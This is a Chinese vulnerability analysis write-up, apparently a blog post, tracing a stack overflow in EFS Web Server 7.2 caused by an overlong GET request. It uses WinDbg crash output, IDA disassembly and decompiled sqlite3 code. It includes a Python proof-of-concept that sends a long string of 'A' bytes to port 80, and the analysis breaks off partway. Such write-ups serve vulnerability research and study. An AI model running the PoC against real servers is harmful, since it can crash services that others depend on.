EFS_Web_Server漏洞分析

EFS Web Server 7.2漏洞分析

简介

EFS Web Server是一款web服务器软件,能快速的搭建web服务。它在接受GET请求时,由于没有有效的控制请求字符串的长度导致栈溢出。


分析环境

OS:                 Microsoft Windows 10 64bit 专业版
Software:           EFS Web Server 7.2
winDbg:             6.12.2.633
IDAPro:             6.8 绿色版
python:             python 2.7

漏洞分析

编写如下的脚本用作poc

# coding=utf-8
# fileName: poc.py
# usage: python poc.py ip payloadNums

import socket
import sys

RHOST = sys.argv[1]
RPORT = 80
payload = '\x41'*int(sys.argv[2])

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send('GET '+payload+' HTTP/1.0\r\n\r\n')
s.close()
print 'done.'

打开EFS,用windbg附加到该进程,然后执行poc,windbg遇到异常被断下

(9f0.4220): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000001 ecx=ffffffff edx=00b65fa4 esi=00b65f7c edi=00b65fa4
eip=61c277f6 esp=00b65ef8 ebp=00b65f10 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Users\gyh\Desktop\1\sqlite3.dll - 
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:002b:4141418d=????????

这里是因为eax+4ch处的内存没有开辟出来导致内存访问异常,而且eax=41414141这是畸形字符串的值,说明传入的payload已经覆盖了eax,下面进行堆栈回溯找到上层的函数调用去分析漏洞是如何触发的

0:007> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00b65f10 61c6286c 000011b8 00001194 02ef4724 sqlite3!sqlite3_errcode+0x8e
*** WARNING: Unable to verify checksum for C:\Users\gyh\Desktop\1\fsws.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\gyh\Desktop\1\fsws.exe
00b65f50 00496624 00000001 00000000 00b65f7c sqlite3!sqlite3_declare_vtab+0x3282
00b675f4 00000000 00000000 00b6755c 00b67570 fsws+0x96624

函数返回在61c6286c处,打开ida载入sqlite3.dll并跳转到该处

.text:61C6284E                 push    ebp
.text:61C6284F                 mov     ebp, esp
.text:61C62851                 push    edi
.text:61C62852                 push    esi
.text:61C62853                 push    ebx
.text:61C62854                 sub     esp, 2Ch
.text:61C62857                 mov     ebx, eax
.text:61C62859                 mov     edi, edx
.text:61C6285B                 mov     [ebp+var_1C], ecx
.text:61C6285E                 mov     esi, [ebp+arg_8]
.text:61C62861                 mov     dword ptr [esi], 0
.text:61C62867                 call    _sqlite3SafetyCheckOk
.text:61C6286C                 test    eax, eax         ;ret addr
.text:61C6286E                 jz      short loc_61C62874
.text:61C62870                 test    edi, edi

显然漏洞的触发位置就在_sqlite3SafetyCheckOk,直接跟进去F5

signed int __usercall sqlite3SafetyCheckOk@<eax>(int a1@<eax>)
{
  signed int v1; // ebx@2

  if ( a1 )
  {
    v1 = 1;
    if ( *(_DWORD *)(a1 + 76) != -1607883113 )
    {
      LOBYTE(v1) = 0;
      if ( sqlite3SafetyCheckSickOrOk() )
        sqlite3_log(21, "API call with %s database connection pointer", "unopened");
    }
  }
  else
  {
    sqlite3_log(21, "API call with %s database connection pointer", (unsigned int)"NULL");
    v1 = 0;
  }
  return v1;
}

这里的*(_DWORD *)(a1+76)就是漏洞触发位置的[eax+4ch],我们应该关注a1。这里的a1是上层函数传递进来的,回到上层函数F5

signed int __usercall sqlite3LockAndPrepare@<eax>(int a1@<eax>, int a2@<edx>, int a3, int a4, _DWORD *a5, int a6)
{
  int v6; // ebx@1
  int v7; // edi@1
  signed int v8; // edx@3
  signed int v9; // edx@4
  signed int v10; // ST18_4@6

  v6 = a1;
  v7 = a2;
  *a5 = 0;
  if ( sqlite3SafetyCheckOk(a1) && v7 )
  {
    sqlite3_mutex_enter(*(_DWORD *)(v6 + 12));
    sqlite3BtreeEnterAll();
    v9 = sqlite3Prepare(a3, a4, a5, a6);
    if ( v9 == 17 )
    {
      sqlite3_finalize(*a5);
      v9 = sqlite3Prepare(a3, a4, a5, a6);
    }
    v10 = v9;
    sqlite3BtreeLeaveAll();
    sqlite3_mutex_leave(*(_DWORD *)(v6 + 12));
    v8 = v10;
  }
  else
  {
    sqlite3_log(21, "misuse at line %d of [%.10s]", 105119, "9d6c1880fb75660bbabd693175579529785f8a6b");
    v8 = 21;
  }
  return v8;
}

该函数传递给sqlite3SafetyCheckOk的参数又是上层函数传递进来的第一个参数,所以继续查看00496624返回位置处的函数,这个地址是主程序fsws.exe的,所以再打开一个ida载入fsws.exe

.text:00496600                 push    ecx
.text:00496601                 mov
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值